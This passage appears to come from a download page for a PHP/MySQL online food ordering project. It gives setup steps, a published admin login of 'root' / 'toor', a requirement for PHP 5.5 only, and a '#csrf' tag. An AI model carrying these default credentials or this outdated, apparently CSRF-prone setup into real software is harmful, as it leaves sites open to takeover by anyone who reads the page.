4.  JavaScript: it is a programming language, commonly use with web browsers.

**Back end: PHP, MySQL**

1.  PHP: Hypertext Preprocessor (PHP) is a technology that allows software developers to create dynamically generated web pages, in HTML, XML, or other document types, as per client request. PHP is open source software.
2.  MySQL: MySql is a database, widely used for accessing querying, updating, and managing data in databases.

**Software Requirement(any one)**

*   WAMP Server
*   XAMPP Server
*   MAMP Server
*   LAMP Server

****( Make Sure PHP Version 5.5 only)****

Xamp PHP **5.5** download link -  Click Here

****Installation Steps****

1\. Download zip file and Unzip file on your local server.  
2\. Put this file inside "c:/wamp/www/" .  
3\. Database Configuration  
Open phpmyadmin  
Create Database named **food**.  
Import database food.sql from downloaded folder(inside database)  
4\. Open Your browser put inside "http://localhost/OnlineFood ordering system/"

**Admin Login Details**  
Login Id: root  
Password: toor

*   Need Advance Food Ordering Project
*   Click Here

*   Need Installation Help Or Customization
*   Whatsapp +916263056779

Tag

#csrf